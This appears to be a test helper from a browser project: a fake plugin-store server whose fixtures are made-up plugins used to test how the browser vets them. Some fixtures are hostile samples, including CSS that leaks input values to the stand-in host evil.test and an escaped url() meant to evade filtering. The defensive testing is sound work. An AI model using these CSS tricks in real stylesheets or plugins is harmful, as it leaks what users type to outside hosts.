askrobots / dbbasic-browser
Public
A desktop browser with x402 built in: when a page asks for payment, it pays in stablecoins and shows the content.
danq9
toolbar: Back and Forward are greyed out when there's nowhere to go
cc08c7a
1 week, 2 days ago
History
fake-gitstable.mjs · 6.7 KB · 99 lines
| 1 | // A stand-in for gitstable's plugin addresses, for the tests: the git ref list (tags) and files at a commit, with the |
| 2 | // X-Git-Blob / X-Git-Commit headers gitstable sends. Repositories are made up here; the "commits" are fixed ids. |
| 3 | // GET /git/<owner>/<repo>.git/info/refs?service=git-upload-pack |
| 4 | // GET /repositories/<owner>/<repo>/raw/<path>?at=<commit> |
| 5 | import { createHash } from "node:crypto"; |
| 6 | import { readFileSync } from "node:fs"; |
| 7 | |
| 8 | const blobId = (buf) => createHash("sha1").update(`blob ${buf.length}\0`).update(buf).digest("hex"); |
| 9 | const commitOf = (name) => createHash("sha1").update("commit " + name).digest("hex"); |
| 10 | |
| 11 | const rule = (id, extra = {}) => |
| 12 | JSON.stringify({ v: 1, id, name: "Wide page", kind: "style-rule", version: "2026.11v1", sites: ["127.0.0.1"], powers: ["style"], style: `${id}.css`, min_api: 1, tested_on: ["2026.11v1"], license: "MIT", description: "The demo page's column uses the whole window.", ...extra }, null, 2) + "\n"; |
| 13 | const WIDE_CSS = "/* the column uses the whole window */\n#col { max-width: none !important; }\n"; |
| 14 | // A view-rule plugin: X's card view (the same rule as askrobots/x-cards), pointed at this stand-in's own timeline. |
| 15 | const X_CARDS = JSON.parse(readFileSync(new URL("../test/fixtures/x-cards.json", import.meta.url), "utf8")); |
| 16 | const view = (id, rule, extra = {}) => ({ |
| 17 | "dbbasic-rule.json": JSON.stringify({ v: 1, id, name: "Cards", kind: "view-rule", version: "2026.11v1", sites: ["127.0.0.1"], powers: ["read-posts"], view: `${id}.json`, button: { label: "Cards", icon: "cards" }, min_api: 2, tested_on: ["2026.11v1"], license: "MIT", description: "The timeline as cards.", ...extra }, null, 2) + "\n", |
| 18 | [`${id}.json`]: JSON.stringify(rule, null, 2) + "\n", |
| 19 | }); |
| 20 | |
| 21 | // name → { tags: {tag: {annotated, files}}, lieAboutBlob? } |
| 22 | const REPOS = { |
| 23 | "demo/wide": { |
| 24 | tags: { |
| 25 | "2026.11v1": { annotated: true, files: { "dbbasic-rule.json": rule("wide"), "wide.css": WIDE_CSS } }, |
| 26 | "2026.10v1": { files: { "dbbasic-rule.json": rule("wide", { version: "2026.10v1" }), "wide.css": "#col { max-width: 700px !important; }\n" } }, |
| 27 | }, |
| 28 | }, |
| 29 | "demo/sneaky": { tags: { "2026.11v1": { files: { "dbbasic-rule.json": rule("sneaky"), "sneaky.css": 'input[value^="a"] { background: url("https://evil.test/a"); }\n' } } } }, |
| 30 | "demo/escaped": { tags: { "2026.11v1": { files: { "dbbasic-rule.json": rule("escaped"), "escaped.css": "#col { background: \\75 rl(https://evil.test/x); }\n" } } } }, |
| 31 | "demo/scripty": { tags: { "2026.11v1": { files: { "dbbasic-rule.json": rule("scripty", { powers: ["style", "page-script"] }), "scripty.css": WIDE_CSS } } } }, |
| 32 | "demo/tampered": { lieAboutBlob: true, tags: { "2026.11v1": { files: { "dbbasic-rule.json": rule("tampered"), "tampered.css": WIDE_CSS } } } }, |
| 33 | "demo/mislabelled": { tags: { "2026.11v1": { files: { "dbbasic-rule.json": rule("mislabelled", { version: "2026.11v9" }), "mislabelled.css": WIDE_CSS } } } }, |
| 34 | "demo/cards": { tags: { "2026.11v1": { files: view("cards", { ...X_CARDS, id: "cards", sites: ["127.0.0.1"] }) } } }, |
| 35 | "demo/cards-sneaky": { tags: { "2026.11v1": { files: view("cards-sneaky", { ...X_CARDS, id: "cards-sneaky", sites: ["127.0.0.1"], fields: { text: { sel: "article", take: "innerHTML" } } }) } } }, |
| 36 | "demo/cards-elsewhere": { tags: { "2026.11v1": { files: view("cards-elsewhere", { ...X_CARDS, id: "cards-elsewhere", sites: ["x.com"] }) } } }, |
| 37 | "demo/future": { tags: { "2026.11v1": { files: { "dbbasic-rule.json": rule("future", { min_api: 99 }), "future.css": WIDE_CSS } } } }, |
| 38 | }; |
| 39 | |
| 40 | let listHits = 0; |
| 41 | |
| 42 | function pkt(line) { |
| 43 | return (line.length + 4).toString(16).padStart(4, "0") + line; |
| 44 | } |
| 45 | |
| 46 | function refsBody(repo) { |
| 47 | const lines = [pkt("# service=git-upload-pack\n"), "0000"]; |
| 48 | const head = commitOf(repo + "@main"); |
| 49 | lines.push(pkt(`${head} HEAD\0multi_ack side-band-64k symref=HEAD:refs/heads/main\n`), pkt(`${head} refs/heads/main\n`)); |
| 50 | for (const [tag, t] of Object.entries(REPOS[repo].tags)) { |
| 51 | if (t.annotated) { |
| 52 | lines.push(pkt(`${commitOf(repo + "@tag-object-" + tag)} refs/tags/${tag}\n`), pkt(`${commitOf(repo + "@" + tag)} refs/tags/${tag}^{}\n`)); |
| 53 | } else lines.push(pkt(`${commitOf(repo + "@" + tag)} refs/tags/${tag}\n`)); |
| 54 | } |
| 55 | lines.push("0000"); |
| 56 | return lines.join(""); |
| 57 | } |
| 58 | |
| 59 | /** Answers a fake-gitstable request, or returns false when the address isn't one of its. */ |
| 60 | export function fakeGitstable(req, res) { |
| 61 | const u = new URL(req.url, "http://x"); |
| 62 | const origin = `http://${req.headers.host}`; |
| 63 | // The list of plugins (only demo/wide is listed, as gitstable lists only its reviewed set), and pages for it. |
| 64 | if (u.pathname === "/store/plugins.json") { |
| 65 | const tag = "2026.11v1"; |
| 66 | const item = { slug: "wide", id: "wide", name: "Wide page", kind: "style-rule", summary: "The demo page's column uses the whole window.", repository: "demo/wide", tag, commit: commitOf("demo/wide@" + tag), sites: ["127.0.0.1"], powers: ["style"], url: origin + "/store/wide/", repository_url: origin + "/repositories/demo/wide/", price_usd: 0 }; |
| 67 | listHits++; |
| 68 | res.writeHead(200, { "content-type": "application/json", "cache-control": "public, max-age=300" }).end(JSON.stringify({ v: 1, items: [item] })); |
| 69 | return true; |
| 70 | } |
| 71 | if (u.pathname === "/o/_plugin-list-hits") { res.writeHead(200, { "content-type": "application/json" }).end(JSON.stringify({ hits: listHits })); return true; } |
| 72 | if (u.pathname === "/store/wide/" || u.pathname === "/repositories/demo/wide/" || u.pathname === "/store/") { |
| 73 | res.writeHead(200, { "content-type": "text/html; charset=utf-8" }).end(`<!doctype html><title>Wide page · plugin</title><h1>Wide page</h1><p>A plugin page on the stand-in gitstable.</p>`); |
| 74 | return true; |
| 75 | } |
| 76 | let m = /^\/git\/([^/]+\/[^/]+)\.git\/info\/refs$/.exec(u.pathname); |
| 77 | if (m) { |
| 78 | const repo = m[1]; |
| 79 | if (!REPOS[repo] || u.searchParams.get("service") !== "git-upload-pack") { res.writeHead(404).end("not found"); return true; } |
| 80 | res.writeHead(200, { "content-type": "application/x-git-upload-pack-advertisement", "cache-control": "no-cache" }).end(refsBody(repo)); |
| 81 | return true; |
| 82 | } |
| 83 | m = /^\/repositories\/([^/]+\/[^/]+)\/raw\/(.+)$/.exec(u.pathname); |
| 84 | if (m) { |
| 85 | const [, repo, path] = m; |
| 86 | const at = u.searchParams.get("at") || ""; |
| 87 | const r = REPOS[repo]; |
| 88 | const tag = r && Object.keys(r.tags).find((t) => commitOf(repo + "@" + t) === at); |
| 89 | const text = tag ? r.tags[tag].files[path] : undefined; |
| 90 | if (text === undefined) { res.writeHead(404).end("not found"); return true; } |
| 91 | const buf = Buffer.from(text); |
| 92 | res.writeHead(200, { |
| 93 | "content-type": "text/plain; charset=utf-8", "x-content-type-options": "nosniff", "cache-control": "public, max-age=31536000, immutable", |
| 94 | "x-git-blob": r.lieAboutBlob && path.endsWith(".css") ? blobId(Buffer.from(text + " ")) : blobId(buf), "x-git-commit": at, |
| 95 | }).end(buf); |
| 96 | return true; |
| 97 | } |
| 98 | return false; |
| 99 | } |